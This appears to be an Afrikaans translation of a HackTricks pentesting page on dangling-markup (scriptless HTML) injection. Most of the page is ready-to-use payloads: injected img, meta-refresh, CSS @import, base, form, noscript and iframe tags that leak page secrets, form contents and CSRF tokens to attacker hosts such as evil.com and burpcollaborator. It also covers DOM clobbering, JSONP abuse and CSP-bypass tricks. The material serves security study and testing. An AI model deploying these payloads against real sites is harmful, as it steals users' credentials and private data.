.. | ||
README.md | ||
ss-leaks.md |
Hangende Markup - HTML skripslose inspuiting
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
Opsomming
Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n HTML-inspuiting gevind word. Dit is baie nuttig as jy nie enige manier vind om 'n XSS te benut nie, maar jy kan sekere HTML-etikette inspuit.
Dit is ook nuttig as 'n geheim in die teks in die HTML gestoor word en jy dit wil uitvoer vanaf die kliënt, of as jy wil voorkom dat 'n sekere skripsie uitgevoer word.
Verskeie tegnieke wat hier bespreek word, kan gebruik word om sekere Inhoudsveiligheidsbeleid te omseil deur inligting op onverwagte maniere uit te voer (html-etikette, CSS, http-meta-etikette, vorms, basis...).
Hooftoepassings
Steel duidelike teksgeheime
As jy <img src='http://evil.com/log.cgi?
inspuit wanneer die bladsy gelaai word, sal die slagoffer al die kode tussen die ingespuite img
-etiket en die volgende aanhalingsteken binne die kode aan jou stuur. As 'n geheim op een of ander manier in daardie brokkie geleë is, sal jy dit steel (jy kan dieselfde ding doen deur 'n dubbele aanhalingsteken te gebruik, kyk watter een meer interessant kan wees om te gebruik).
As die img
-etiket verbode is (as gevolg van CSP byvoorbeeld) kan jy ook <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
gebruik.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Merk op dat Chrome blokkeer HTTP URL's met "<" of "\n" daarin, so jy kan ander protokol skemas soos "ftp" probeer.
Jy kan ook CSS @import
misbruik (sal al die kode stuur tot dit 'n ";") vind.
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Jy kan ook <table
gebruik:
<table background='//your-collaborator-id.burpcollaborator.net?'
Jy kan ook 'n <base
tag invoeg. Alle inligting sal gestuur word totdat die aanhalingsteken gesluit is, maar dit vereis 'n bietjie gebruikerinteraksie (die gebruiker moet op 'n skakel klik, omdat die basis tag die domein wat deur die skakel aangedui word, verander sal het):
<base target=' <--- Injected
steal me'<b>test</b>
Steel vorms
<base href='http://evil.com/'>
Dan sal die vorms wat data na die pad stuur (soos <form action='update_profile.php'>
) die data na die skadelike domein stuur.
Steel vorms 2
Stel 'n vormkop in: <form action='http://evil.com/log_steal'>
dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.
Steel vorms 3
Die knoppie kan die URL waarheen die inligting van die vorm gestuur gaan word, verander met die attribuut "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
'n Aanvaller kan dit gebruik om die inligting te steel.
Vind 'n voorbeeld van hierdie aanval in hierdie skryfstuk.
Steel skoon teks geheime 2
Deur die nuutste genoemde tegniek te gebruik om vorms te steel (inspuiting van 'n nuwe vormkop) kan jy dan 'n nuwe insetveld inspuit:
<input type='hidden' name='review_body' value="
En hierdie insetveld sal al die inhoud tussen sy dubbeld aanhalingstekens en die volgende dubbeld aanhalingstekens in die HTML bevat. Hierdie aanval meng die "Diefstal van duidelike teksgeheime" met "Diefstal van vorms2".
Jy kan dieselfde ding doen deur 'n vorm en 'n <option>
-tag in te spuit. Alle data tot 'n geslote </option>
gevind word, sal gestuur word:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Vormparameterinspuiting
Jy kan die pad van 'n vorm verander en nuwe waardes invoeg sodat 'n onverwagte aksie uitgevoer sal word:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Steel van teksgeheime via noscript
<noscript></noscript>
Is 'n tag waarvan die inhoud geïnterpreteer sal word as die webblaaier nie javascript ondersteun nie (jy kan Javascript in Chrome aktiveer/deaktiveer by chrome://settings/content/javascript).
'n Manier om die inhoud van die webbladsy vanaf die inspuitingspunt na die onderkant na 'n aanvallerbeheerde webwerf te eksfiltreer, sal wees om dit in te spuit:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Oorskryding van CSP met gebruikersinteraksie
Van hierdie portswiggers navorsing kan jy leer dat selfs in die mees CSP-beperkte omgewings jy steeds data kan uitlek met 'n bietjie gebruikersinteraksie. In hierdie geval gaan ons die lading gebruik:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Let wel dat jy die slagoffer sal vra om op 'n skakel te klik wat hom sal herlei na 'n lading wat deur jou beheer word. Let ook daarop dat die teiken
attribuut binne die basis
etiket HTML-inhoud sal bevat tot die volgende enkel aanhalingsteken.
Dit sal veroorsaak dat die waarde van window.name
as die skakel geklik word, al daardie HTML-inhoud sal wees. Daarom, aangesien jy die bladsy beheer waar die slagoffer toegang tot verkry deur op die skakel te klik, kan jy daardie window.name
bereik en daardie data eksfileer:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Misleidende skripskema 1 - HTML-naamruimte-aanval
Voeg 'n nuwe tag met 'n id binne die HTML in wat die volgende een sal oorskryf en met 'n waarde wat die vloei van 'n skrip sal beïnvloed. In hierdie voorbeeld kies jy met wie 'n inligting gedeel gaan word:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Misleidende skripskema 2 - Skripsnaamruimte-aanval
Skep veranderlikes binne die javascript-naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Misbruik van JSONP
As jy 'n JSONP-koppelvlak vind, kan jy 'n willekeurige funksie met willekeurige data aanroep:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Of jy kan selfs probeer om 'n bietjie javascript uit te voer:
<script src='/search?q=a&call=alert(1)'></script>
Iframe misbruik
'n Kind-dokument besit die vermoë om die location
eienskap van sy ouer te sien en te wysig, selfs in kruis-oorsprong situasies. Dit maak dit moontlik om 'n skrips binne 'n iframe in te sluit wat die kliënt na 'n willekeurige bladsy kan herlei:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Dit kan geminimaliseer word met iets soos: sandbox=' allow-scripts allow-top-navigation'
'n Iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek deur die iframe-naamkenmerk te gebruik. Dit is omdat jy 'n iframe kan skep wat homself iframed deur die HTML-inspuiting te misbruik wat die sensitiewe inligting binne die iframe-naamkenmerk laat verskyn en dan daardie naam vanaf die oorspronklike iframe kan benader en lek.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Vir meer inligting kyk na https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta misbruik
Jy kan meta http-equiv
gebruik om verskeie aksies uit te voer soos die instelling van 'n koekie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
of om 'n herleiing uit te voer (in 5s in hierdie geval): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Dit kan vermy word met 'n CSP met betrekking tot http-equiv (Content-Security-Policy: default-src 'self';
, of Content-Security-Policy: http-equiv 'self';
)
Nuwe <portal HTML-tag
Jy kan 'n baie interessante navorsing vind oor uitbuitbare kwesbaarhede van die <portal-tag hier.
Op die oomblik van hierdie skrywe moet jy die portal-tag op Chrome aktiveer in chrome://flags/#enable-portals
of dit sal nie werk nie.
<portal src='https://attacker-server?
HTML Lekasies
Nie al die maniere om konnektiwiteit in HTML te lek sal nuttig wees vir Dangling Markup nie, maar soms kan dit help. Kontroleer hulle hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Lekasies
Dit is 'n mengsel tussen dangling markup en XS-Lekasies. Aan die een kant maak die kwesbaarheid dit moontlik om HTML in te spuit (maar nie JS nie) in 'n bladsy van dieselfde oorsprong as dié wat ons sal aanval. Aan die ander kant sal ons nie direk die bladsy aanval waar ons HTML kan inspuit nie, maar 'n ander bladsy.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Soek/XS-Lekasies
XS-Soek is gerig op eksfiltrasie van kruis-oorsprong inligting deur syferkanaal aanvalle te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-etikette (met en sonder JS-uitvoering), soos CSS-inspuiting of Lui Laai Beelde.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Brute-Force Opmerkingslys
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Verwysings
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.